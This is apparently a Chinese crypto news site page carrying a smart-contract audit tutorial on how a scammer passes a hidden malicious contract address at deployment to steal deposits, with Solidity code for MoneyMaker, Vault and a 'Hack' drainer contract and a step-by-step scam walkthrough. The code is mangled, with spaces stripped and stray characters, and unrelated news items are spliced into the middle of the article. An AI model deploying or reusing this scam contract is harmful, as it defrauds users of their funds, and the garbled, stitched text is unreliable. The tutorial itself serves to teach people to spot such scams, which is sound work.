以太坊價格 以太坊價格
Ctrl+D 以太坊價格
ads
首頁 > USDT > Info

VAULT:智能合約安全審計入門篇 —— 移花接木

Author:

Time:1900/1/1 0:00:00

概述

上期我們了解了利用tx.origin進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。

前置知識

大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個A合約并告訴受害者我們會在部署A合約的構造函數中傳入B合約的地址并將B合約開源,其實我們會在部署A合約時傳入C合約的地址,如果受害者完全信任我們沒有檢查部署A合約的那筆交易,我們就完美的將惡意代碼隱藏在了C合約中。我們可以從下圖來理解這個邏輯:

用戶以為的調用路徑:

部署合約A傳入合約B地址,這樣調用路徑為正常路徑。

實際的調用路徑:

基于AI的Web3智能合約生成器Mazzuma完成新一輪融資,Adaverse參投:金色財經報道,基于人工智能技術的Web3智能合約生成器Mazzuma宣布完成新一輪融資,Cardano生態投資機構Adaverse參投,但具體融資金額暫未披露。Mazzuma總部位于非洲加納,旨在利用人工智能技術支持幫助開發人員為Web3去中心化應用程序無縫生成智能合約代碼,繼而加快區塊鏈智能合約的創建和部署,新資金將用于推動旗下新產品MazzumaGPT上線。 (disrupt-africa)[2023/6/27 22:03:15]

部署合約A傳入合約C地址,這樣調用路徑為非正常路徑。

下面我們使用一個簡單的例子來分析這個騙局:

惡意代碼

//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}

Layer 2解決方案Scroll發布Pre-Alpha測試網升級版本,已支持部署智能合約:10月11日消息,基于zkEVM的Layer 2解決方案Scroll發布其Pre-Alpha測試網升級版本。據悉,新版本已支持開發者使用Hardhat和Foundry等工具部署智能合約,并支持用戶在升級的跨鏈橋合約上在其Layer 1和Layer 2測試網之間橋接NFT和用戶自定義的ERC-20 Token。[2022/10/11 10:30:42]

騙局分析

可以看到,上述代碼中存在三個合約,我們先結合前置知識中的A,B,C三個角色來區分三個合約分別代表什么角色:

MoneyMaker合約代表A合約;

Vault合約代表B合約;

Hack合約代表C合約。

所以用戶以為的調用路徑為:

MoneyMaker->Vault。

而實際的調用路徑為:

Paradigm聯合創始人:只要以太坊繼續運行,智能合約就會永遠可靠地運行:金色財經報道,Paradigm聯合創始人兼管理合伙人Matt Huang在社交媒體上稱,在這種加密貨幣去杠桿化的情況下,許多中心化實體的償付能力受到質疑,相比之下,令人震驚的是,像Uniswap這樣的智能合約不面臨任何償付風險,只要以太坊繼續運行,就會永遠可靠地運行。[2022/7/1 1:44:41]

MoneyMaker->Hack。

下面我們來看看攻擊者如何完成騙局的:

1.Evil部署Vault(B)合約并在合約中留存100ETH資金,在鏈上將Vault(B)合約開源;

2.Evil部署Hack(C)惡意合約;

3.Evil放出消息說他將會部署一個開源的賺錢MoneyMaker(A)合約,部署時會將Vault(B)合約地址傳入且會調用Vault.setMacker()將maker角色設置為MoneyMaker合約地址,任何人調用MoneyMaker.makeMoney()向合約中打入不少于一個以太都會得到雙倍以太的回報;

YieldShield通過執行定制智能合約優化DeFi挖礦收益:DeFi協議Yield Protocol發推稱,收益耕作(Yield Farming)需要在一個區塊鏈上進行多次交易,從而會產生數百美元的費用。其合作伙伴YieldShield建立一個允許Yield Farming的產品,將資金集中在一起,通過執行智能合約,從而實現安全分配。

據悉,YieldShield是第一個建立在Yield Protocol上的產品。YieldShield不是通過共享池,而是根據個人風險和收益偏好定制的智能合約為農民(Farmer)服務,實現收益最大化,同時防范風險。[2021/2/28 18:01:05]

4.Bob收到消息,了解到MoneyMaker合約的存在,他看了MoneyMaker(A)和Vault(B)合約的代碼并檢查了Vault(B)合約中的余額發現邏輯確實如Evil說的那樣,他在沒有檢查MoneyMaker(A)部署交易的情況下就相信了Evil;

動態 | EOS原力主網重大升級已經生效 支持智能合約部署:EOS原力核心開發者fanyang表示:經過23個超級節點10小時協同工作,于北京時間2018年10月18日24時完成主網升級;在塊高度3385100時,EOS原力主網最新版本v1.1.0升級生效。本次升級后EOS原力主網支持智能合約部署,新版本采用了與EOSIO不同的資源模型,用戶無需采用復雜的抵押,只需支付手續費就可以進行操作,開發者也無需擔心資源暴漲暴跌對應用開發的影響。同時更新社區投票通過的新分紅合約,允許備選節點獲取分紅。[2018/10/19]

5.Bob調用MoneyMaker.makeMoney()向合約中打入自己全部身家20ETH,在他滿懷期待等著收到Vault(B)打來的40ETH時等來的卻是一句"Haha,youretherismine!"。

咋回事呢?其實這個騙局非常簡單但是很常見。Evil在部署MoneyMaker合約時傳入的并不是Vault合約的地址,而是傳入了Hack合約的地址。所以當Bob調用MoneyMaker.makeMoney()時并不會像他想像中的那樣MoneyMaker.makeMoney()去調用Vault.transfer()回打給他雙倍的以太,而是調用了Hack.transfer()拋出了一個事件:"Haha,youretherismine!"。最后Evil調用Vault.withrow()將Vault合約中的100ETH轉出,并通過Hack.withrow()將Bob轉入的20ETH轉出。

預防建議

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易后才能相信對方說的話是對的。

Tags:MAKEMakerVAULTULTmaker幣什么意思MakersPlaceMilady Vault (NFTX)UltrAlpha

USDT
MEV:MEV 揭秘:揭開以太坊 MEV 產業鏈利益的神秘面紗

區塊鏈技術使全球各地的人們具有交易自由,將全新的經濟活動模式帶到了最前沿。抗審查制度的P2P支付、去中心化交易所、無需許可的貸款協議等一系列創新為所有人創造了公平的機會.

1900/1/1 0:00:00
CHA:對話場景實驗室創始人吳聲:AIGC變革下品牌更需要結構性思維

來源:新浪財經創投Plus 采訪整理:楊舒 5月10日,首屆ISG深圳國際創投節在深圳寶安濱海藝術中心開幕.

1900/1/1 0:00:00
CON:融資新聞 | 以太坊基礎設施開發公司ConsenSys完成4.5億美元D輪融資,淡馬錫和微軟等參投

據ConsenSys官網3月15日報道,ConsenSys宣布完成了一輪4.5億美元的融資,使其估值超過70億美元.

1900/1/1 0:00:00
TEA:日本東京 TEAMZ Web3 Summit大會議程全部確定,峰會參與者同時有機會贏取價值100萬日元比特幣的抽獎活動

TEAMZWeb3Summit將于5月17日18日舉行,為期兩天的議程和會場LayOut已經揭曉。?與此同時到場參與峰會的參加者可以有機會參與總價值100萬日元的BTC抽獎活動.

1900/1/1 0:00:00
ARC:比特幣交易費用自 2017 年以來首次超過區塊獎勵

來源|Decrypt 編譯|潮外音 在比特幣最近交易費用飆升的情況下,區塊號788695對礦工來說是一個特殊的里程碑:自2017年以來,單個區塊的交易費用首次超過了發放給礦工的區塊獎勵.

1900/1/1 0:00:00
OPEN:“大廠壟斷大模型”,會被開源終結嗎?

來源:阿爾法工場 最近,正在進行AI大戰的各個大廠,被谷歌泄漏的一份內部文件,翻開了窘迫的一面。這份泄露的內部文件聲稱:“我們沒有‘護城河’,OpenAI也沒有.

1900/1/1 0:00:00
ads